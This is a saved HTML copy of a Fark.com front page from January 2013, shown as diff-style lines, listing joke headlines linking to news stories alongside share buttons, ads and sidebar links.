+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553040/Bag-full-of-otters-recovered-at-Thai-airport-In-other-news-submitter-has-his-new-band-name" target="_top"> (49) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7552871"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552871/http://www.buzzfeed.com/ellievhall/15-amazing-and-beatiful-photos-of [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/cool" title="Cool"><span class="ttag topic18"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552871/http://www.buzzfeed.com/ellievhall/15-amazing-and-beatiful-photos-of-icy-aftermath-to" target="_blank">Beautiful aftermath of Chicago's biggest fire in a decade</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552871" target="_blank">buzzfeed.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7552871&t=Beautiful%20aftermath%20of%20Chicago%27s%20biggest%20fire%20in%20a%20decade" onclick="trackSocial('facebook','share','http://fark.com/go/7552871')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Beautiful%20aftermath%20of%20Chicago%27s%20biggest%20fire%20in%20a%20decade%20http%3A%2F%2Ffark.com%2Fgo%2F7552871&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7552871/Beautiful-aftermath-of-Chicagos-biggest-fire-in-a-decade" target="_top"> (53) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553378"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553378/http://www.cnn.com/2013/01/23/world/asia/north-korea-nuclear-test/index.html%3Fhpt%3Dhp_t1" target="_bl [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/followup" title="Followup"><span class="ttag topic26"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553378/http://www.cnn.com/2013/01/23/world/asia/north-korea-nuclear-test/index.html%3Fhpt%3Dhp_t1" target="_blank">North Korea discloses nuke test and promises "upcoming all-out action" against U.S</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553378" target="_blank">cnn.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553378&t=North%20Korea%20discloses%20nuke%20test%20and%20promises%20%22upcoming%20all-out%20action%22%20against%20U.S" onclick="trackSocial('facebook','share','http://fark.com/go/7553378')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=North%20Korea%20discloses%20nuke%20test%20and%20promises%20%22upcoming%20all-out%20action%22%20against%20U.S%20http%3A%2F%2Ffark.com%2Fgo%2F7553378&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20N [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553378/North-Korea-discloses-nuke-test-promises-upcoming-all-out-action-against-US" target="_top"> (225) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7552923"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552923/http://www.chicagotribune.com/news/local/suburbs/romeoville/chi-josh-ramza-of-rome [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552923/http://www.chicagotribune.com/news/local/suburbs/romeoville/chi-josh-ramza-of-romeoville-dies-at-blackburn-college-20130123,0,1150441.story" target="_blank">Death of Romeoville student still a mystery, though police believe their suspect resides in nearby Capuletberg</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552923" target="_blank">chicagotribune.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7552923&t=Death%20of%20Romeoville%20student%20still%20a%20mystery%2C%20though%20police%20believe%20their%20suspect%20resides%20in%20nearby%20Capuletberg" onclick="trackSocial('facebook','share','http://fark.com/go/7552923')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Death%20of%20Romeoville%20student%20still%20a%20mystery%2C%20though%20police%20believe%20their%20suspect%20resides%20in%20nearby%20Capuletberg%20http%3A%2F%2Ffark.com%2Fgo%2F7552923&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarks [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7552923/Death-of-Romeoville-student-still-a-mystery-though-police-believe-their-suspect-resides-in-nearby-Capuletberg" target="_top"> (25) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553147"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553147/http://www.bbc.co.uk/news/health-18724115" target= [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553147/http://www.bbc.co.uk/news/health-18724115" target="_blank">2/3rds of adults turn to drinking to relax in the evening. Only 2/3rds?</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553147" target="_blank">bbc.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553147&t=2%2F3rds%20of%20adults%20turn%20to%20drinking%20to%20relax%20in%20the%20evening.%20Only%202%2F3rds%3F" onclick="trackSocial('facebook','share','http://fark.com/go/7553147')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=2%2F3rds%20of%20adults%20turn%20to%20drinking%20to%20relax%20in%20the%20evening.%20Only%202%2F3rds%3F%20http%3A%2F%2Ffark.com%2Fgo%2F7553147&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cf [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553147/-23rds-of-adults-turn-to-drinking-to-relax-in-evening-Only-23rds" target="_top"> (62) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553111"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553111/http://www.sfgate.com/news/crime/article/LA-teacher-accused-of-sex-abuse-of-up-to-19-kids-4218 [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/sick" title="Sick"><span class="ttag topic08"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553111/http://www.sfgate.com/news/crime/article/LA-teacher-accused-of-sex-abuse-of-up-to-19-kids-4218720.php" target="_blank">Teacher accused of having sex with 19 kids. In a row??</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553111" target="_blank">sfgate.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553111&t=Teacher%20accused%20of%20having%20sex%20with%2019%20kids.%20In%20a%20row%3F%3F" onclick="trackSocial('facebook','share','http://fark.com/go/7553111')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Teacher%20accused%20of%20having%20sex%20with%2019%20kids.%20In%20a%20row%3F%3F%20http%3A%2F%2Ffark.com%2Fgo%2F7553111&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Ge [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553111/Teacher-accused-of-having-sex-with-19-kids-In-a-row" target="_top"> (56) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553032"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553032/http://io9.com/5978399/where-memes-really-come-from" target="_blank"> <img alt="(io9)" title="io9" src="Fi [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/silly" title="Silly"><span class="ttag topic09"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553032/http://io9.com/5978399/where-memes-really-come-from" target="_blank">Where memes really come from</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553032" target="_blank">io9.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553032&t=Where%20memes%20really%20come%20from" onclick="trackSocial('facebook','share','http://fark.com/go/7553032')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Where%20memes%20really%20come%20from%20http%3A%2F%2Ffark.com%2Fgo%2F7553032&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com%20Sports% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553032/Where-memes-really-come-from" target="_top"> (54) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553169"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553169/http://www.bloomberg.com/news/2011-04-25/fda-to-regulate-electronic-cigarettes-as-tobacco-products-1-.html" target="_blank"> <im [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553169/http://www.bloomberg.com/news/2011-04-25/fda-to-regulate-electronic-cigarettes-as-tobacco-products-1-.html" target="_blank">E-cigarettes, which contain no tobacco, will be regulated as tobacco products</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553169" target="_blank">bloomberg.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553169&t=E-cigarettes%2C%20which%20contain%20no%20tobacco%2C%20will%20be%20regulated%20as%20tobacco%20products" onclick="trackSocial('facebook','share','http://fark.com/go/7553169')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=E-cigarettes%2C%20which%20contain%20no%20tobacco%2C%20will%20be%20regulated%20as%20tobacco%20products%20http%3A%2F%2Ffark.com%2Fgo%2F7553169&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cf [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553169/E-cigarettes-which-contain-no-tobacco-will-be-regulated-as-tobacco-products" target="_top"> (232) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553210"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553210/http://news.yahoo.com/blogs/lookout/high-school-senior-comes-gay-while-accepting-aw [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/spiffy" title="Spiffy"><span class="ttag topic16"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553210/http://news.yahoo.com/blogs/lookout/high-school-senior-comes-gay-while-accepting-award-230305217.html%3Fqs" target="_blank">High
+ school senior wins acting award, and then according to the headline,
+comes out as lesbian, gay, bisexual, AND transgender. That's pretty
+impressive</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553210" target="_blank">news.yahoo.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553210&t=High%20school%20senior%20wins%20acting%20award%2C%20and%20then%20according%20to%20the%20headline%2C%20comes%20out%20as%20lesbian%2C%20gay%2C%20bisexual%2C%20AND%20transgender.%20That%27s%20pretty%20impressive" onclick="tr [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=High%20school%20senior%20wins%20acting%20award%2C%20and%20then%20according%20to%20the%20headline%2C%20comes%20out%20as%20lesbian%2C%20gay%2C%20bisexual%2C...%20http%3A%2F%2Ffark.com%2Fgo%2F7553210&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553210/High-school-senior-wins-acting-award-then-according-to-headline-comes-out-as-lesbian-gay-bisexual-AND-transgender-Thats-pretty-impressive" target="_top"> (102) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553157"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553157/http://www.hawaiinew [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/misc" title="Misc"><span class="ttag topic03"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553157/http://www.hawaiinewsnow.com/story/20663279/navy-random-alcohol-tests-for-sailors-in-us" target="_blank">♫
+ How do you test for a drunken sailor, how do you test for a drunken
+sailor, how do you test for a drunken sailor, randomly starting next
+month. ♪</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553157" target="_blank">hawaiinewsnow.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553157&t=%E2%99%AB%20How%20do%20you%20test%20for%20a%20drunken%20sailor%2C%20how%20do%20you%20test%20for%20a%20drunken%20sailor%2C%20how%20do%20you%20test%20for%20a%20drunken%20sailor%2C%20randomly%20starting%20next%20month.%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%E2%99%AB%20How%20do%20you%20test%20for%20a%20drunken%20sailor%2C%20how%20do%20you%20test%20for%20a%20drunken%20sailor%2C%20how%20do%20you%20test%20for%20a%20drunken%20sa...%20http%3A%2F%2Ffark.com%2Fgo%2F7553157&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.c [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553157/-How-do-you-test-for-a-drunken-sailor-how-do-you-test-for-a-drunken-sailor-how-do-you-test-for-a-drunken-sailor-randomly-starting-next-month-" target="_top"> (28) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7552913"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552913/http://www.farktog [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/farktography" title="Farktography"><img alt="Farktography" title="Farktography" src="Filer_for_fark/farktography.gif" height="11" width="54"></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552913/http://www.farktography.net/index.php%3Fmodule%3Dpostcalendar%26type%3Duser%26func%3Ddisplay%26date%3D20121219%26viewtype%3Devent%26eid%3D410" target="_blank">Theme of Farktography Contest No. 403: "Sepia". Details and rules in first post. LGT next week's theme</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7552913" target="_blank">farktography.net</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2F7552913&t=Theme%20of%20Farktography%20Contest%20No.%20403%3A%20%22Sepia%22.%20Details%20and%20rules%20in%20first%20post.%20LGT%20next%20week%27s%20theme" onclick="trackSocial('facebook','share','http://fark.com/7552913')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Theme%20of%20Farktography%20Contest%20No.%20403%3A%20%22Sepia%22.%20Details%20and%20rules%20in%20first%20post.%20LGT%20next%20week%27s%20theme%20http%3A%2F%2Ffark.com%2F7552913&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7552913/Theme-of-Farktography-Contest-No-403-Sepia-Details-rules-in-first-post-LGT-next-weeks-theme" target="_top"> (120) </a> <div class="hlSpacer"> </div> </td> </tr> </tbody></table><br> <div class="comlinkcount">Displayed <b>76</b> of about <b>1438</b> links -- join <a href="http://www.fark.com/farq/about#What_is_TotalFark.3F">TotalFark</a> to see them all</div>
+<br>
+
+ <div id="headlineViewOptions">
+ <p class="showLastDates">Show last: <a href="http://www.fark.com/?hrs=24" class="dateSelected">24 hours</a> | <a href="http://www.fark.com/?hrs=48">48 hours</a> | <a href="http://www.fark.com/?hrs=168">7 days</a></p> <p class="linkArchives"><a href="http://www.fark.com/archives/">Link archives »</a></p> </div> <!-- BOTTOM start -->
+</div> <!-- end #newsContainer -->
+ </td>
+ <td id="rightCol">
+ <a href="http://www.fark.com/submit/" class="submitLink">Submit a Link »</a> <div class="ad_container rightTop"> <div id="rightAd300x250"> <!-- begin ad tag (billboard) --> <script type="text/javascript">
+ googletag.cmd.push(function() { googletag.display('rightAd300x250'); });
+ </script> <iframe style="border: 0px none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Billboard_0" id="google_ads_iframe_/1055466/MainPage-Billboard_0" frameborder="0" height="250" scrolling="no" width="300"></iframe><iframe style="border: 0px none; visibility: hidden; display: none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Billboard_0__hidden__" id="google_ads_iframe_/1055466/MainPage-Billboard_0__hidden__" framebord [...]
+ <div class="advertiseLink"><a href="http://www.fark.com/advertise/" target="blank">Advertise on Fark</a></div>
+
+ </div> <div id="facebook"><div fb-xfbml-state="rendered" class="fb-like fb_edge_widget_with_comment fb_iframe_widget" data-href="https://www.facebook.com/farkdotcom" data-send="false" data-layout="button_count" data-width="78" data-show-faces="false"><span style="height: 20px; width: 73px;"><iframe src="Filer_for_fark/like.htm" class="fb_ltr" title="Like this content on Facebook." style="border: medium none; overflow: hidden; height: 20px; width: 73px;" name="f337ce979df979c" id="f3 [...]
+ <div id="gplus"><div id="___plusone_0" style="height: 20px; width: 90px; display: inline-block; text-indent: 0px; margin: 0px; padding: 0px; background: none repeat scroll 0% 0% transparent; border-style: none; float: none; line-height: normal; font-size: 1px; vertical-align: baseline;"><iframe title="+1" data-gapiattached="true" allowtransparency="true" src="Filer_for_fark/fastbutton.htm" name="I0_1359096671054" id="I0_1359096671054" vspace="0" tabindex="0" style="position: static; to [...]
+ <div id="twitter"><a target="_blank" href="http://www.twitter.com/fark"><span id="twitterLogo"></span></a> <a target="_blank" href="http://www.twitter.com/fark">Follow @fark on Twitter</a></div>
+ <div id="pinterest"><a target="_blank" href="http://pinterest.com/Fark"><span id="pinLogo"></span></a> <a target="_blank" href="http://www.pinterest.com/Fark">Follow us on Pinterest</a></div> <hr>
+ <ul class="sidebarLinks">
+ <li><a href="http://www.fark.com/top/links/">Top Links</a></li>
+ <li><a href="http://www.fark.com/top/comments/">Top Comments</a></li>
+ <li><a href="http://www.fark.com/top/submitters/">Top Submitters</a></li>
+ <li><a href="http://www.fark.com/publicity/">Press/Publicity</a></li>
+ </ul>
+
+ <hr>
+ <div id="hotw"><a href="http://www.fark.com/hotw/">Headlines of the Week</a></div>
+
+ <hr>
+ <ul class="sidebarLinks">
+ <li><a href="http://www.fark.com/combined/">All Latest</a></li>
+ <li><a href="http://www.fark.com/comments/1">Fark Forum</a></li> <li><a href="http://www.fark.com/linkvote/">Link Voting</a></li>
+ <li><a href="http://www.fark.com/comments/2">Sports Forum</a></li>
+
+ <li><a href="http://www.fark.com/blog/Drew">Fark Blogs</a></li>
+ <li><a href="http://www.fark.com/comments/4">Geek Forum</a></li>
+
+ <li><a target="_blank" href="http://www.amazon.com/Its-Not-News-Fark-Media/dp/1592402917/sr=8-1/qid=1168639219/ref=pd_bbs_sr_1/102-1500276-2229705?ie=UTF8&s=books&tag=farkcom-20">Fark Book</a></li>
+ <li><a href="http://www.fark.com/comments/3">Entertainment Forum</a></li>
+
+ <li><a href="http://www.fark.com/travel">Fark Travel Guide</a></li>
+ <li><a href="http://www.fark.com/comments/5">Politics Forum</a></li>
+
+ <li><a href="http://www.fark.com/farkparty/">Fark Parties</a></li>
+ <li><a href="http://www.fark.com/comments/550396">Fark Party Forum</a></li>
+
+ <li><a target="_blank" rel="nofollow" href="http://chat.mibbit.com/#fark@irc.fdfnet.net">Fark Chat</a></li>
+ <li><a href="http://www.fark.com/comments/6">Photoshop Forum</a></li>
+
+ <li><a href="http://www.fark.com/psbrowser">PS/Photo Browser</a></li>
+ <li><a href="http://www.fark.com/comments/7">Farktography Forum</a></li>
+
+ <li><a href="http://www.fark.com/quiz">Fark Quiz</a></li>
+ </ul>
+
+ <div class="ad_container right"> <div id="rightAd300x250Lower"> <!-- begin ad tag (billboard2) --> <script type="text/javascript">
+ googletag.cmd.push(function() { googletag.display('rightAd300x250Lower'); });
+ </script> <iframe style="border: 0px none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Billboard-Lower_0" id="google_ads_iframe_/1055466/MainPage-Billboard-Lower_0" frameborder="0" height="250" scrolling="no" width="300"></iframe><iframe style="border: 0px none; visibility: hidden; display: none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Billboard-Lower_0__hidden__" id="google_ads_iframe_/1055466/MainPage-Billboard-Lowe [...]
+ </div> <div class="shoprotator">
+ <strong>From the <a href="http://shop.fark.com/">Fark Shop</a>:</strong>
+ <ul style="margin:1em 0px;"> <li>
+ <a href="http://shop.fark.com/product/Vitruvian-Squirrel"><img src="Filer_for_fark/Vitruvian-Squirrel_16426-m.jpg" alt="Vitruvian Squirrel" style="border: 0;" height="150" width="150"><br>Vitruvian Squirrel</a>
+ </li> <li>
+ <a href="http://shop.fark.com/product/Freeloader-Fork"><img src="Filer_for_fark/Freeloader-Fork_10009-m.jpg" alt="Freeloader Fork" style="border: 0;" height="150" width="150"><br>Freeloader Fork</a>
+ </li> <li>
+ <a href="http://shop.fark.com/product/Peri-and-Sil-Doctor-Who-Action-Figure"><img src="Filer_for_fark/Peri-and-Sil-Doctor-Who-Action-Figure_7932-m.jpg" alt="Peri and Sil - Doctor Who Action Figure" style="border: 0;" height="150" width="150"><br>Peri and Sil - Doctor Who Action Figure</a>
+ </li> <li>
+ <a href="http://shop.fark.com/product/Samurai-Umbrella"><img src="Filer_for_fark/Samurai-Umbrella_2648-m.jpg" alt="Samurai Umbrella" style="border: 0;" height="150" width="150"><br>Samurai Umbrella</a>
+ </li> </ul>
+ <div style="clear:both;"></div>
+ <div style="text-align:right;"><strong>More from the <a href="http://shop.fark.com/">Fark Shop</a> » </strong></div>
+ <div style="clear:both;"><br></div>
+</div> <hr>
+
+<div id="boxSwap"><span style="display:block; text-align:center">Stories from our partner sites:</span><br><br> <img src="Filer_for_fark/scribollogowide.jpg" alt="Scribol" style="display: block; margin-left: auto; margin-right: auto; border:solid #fff 1px;" height="30" width="107"> <br> <a target="_blank" href="http://scribol.com/traffix/linkin/2358364/488955" onclick="_gaq.push(['_trackEvent', 'Headline Swaps', 'Outbound Click', 'Scribol']);">Revealed: The Secrets All Scientologi.. [...]
+ <br><br> <img src="Filer_for_fark/lifelogo.png" alt="Life" style="display: block; margin-left: auto; margin-right: auto; border:solid #fff 1px;" height="30" width="115"> <br> <a target="_blank" href="http://life.time.com/history/life-behind-the-picture-larry-burrows-reaching-out-1966/" onclick="_gaq.push(['_trackEvent', 'Headline Swaps', 'Outbound Click', 'Life']);">LIFE Behind the Picture: Larry Burrow...</a><br> <a target="_blank" href="http://life.time.com/culture/war-on-drug [...]
+ <br><br> <img src="Filer_for_fark/starpulse.gif" alt="Starpulse" style="display: block; margin-left: auto; margin-right: auto; border:solid #fff 1px;" height="30" width="100"> <br> <a target="_blank" href="http://www.starpulse.com/news/index.php/2013/01/24/first_look_new_mad_men_glamorous_seaso?referer=Fark" onclick="_gaq.push(['_trackEvent', 'Headline Swaps', 'Outbound Click', 'Starpulse']);">First Look: New 'Mad Men' Glamorous S...</a><br> <a target="_blank" href="http://www.s [...]
+ <br><br> <img src="Filer_for_fark/G4_logo.jpg" alt="G4TV" style="display: block; margin-left: auto; margin-right: auto; border:solid #fff 1px;" height="30" width="107"> <br> <a target="_blank" href="http://www.g4tv.com/rss_traffic.aspx?u=http%3A%2F%2Fwww.g4tv.com%2Fthefeed%2Fblog%2Fpost%2F730004%2Fcrysis-3-beta-kicks-off-next-week%2F" onclick="_gaq.push(['_trackEvent', 'Headline Swaps', 'Outbound Click', 'G4TV']);">Crysis 3 Beta Kicks Off Next Week</a><br> <a target="_blank" hre [...]
+ <br><br> </div>
+<hr> </td>
+ </tr>
+ <tr>
+ <td colspan="2"><div id="footer"> <p class="alsoOnFark">Also on Fark</p>
+ <table id="alsoOnFarkTable">
+ <tbody> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/">Main</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7555333" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Main']);">Watch this squirrel deliver the greatest "oh sh*t" face in the history of nature documentaries</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555333" target="_blank">io9.com</a> ) » <a href="http://www.fark.com/comments/7555333/Watch-this-squirrel-deliver-greatest-oh-sht-fa [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/sports/">Sports</a></td>
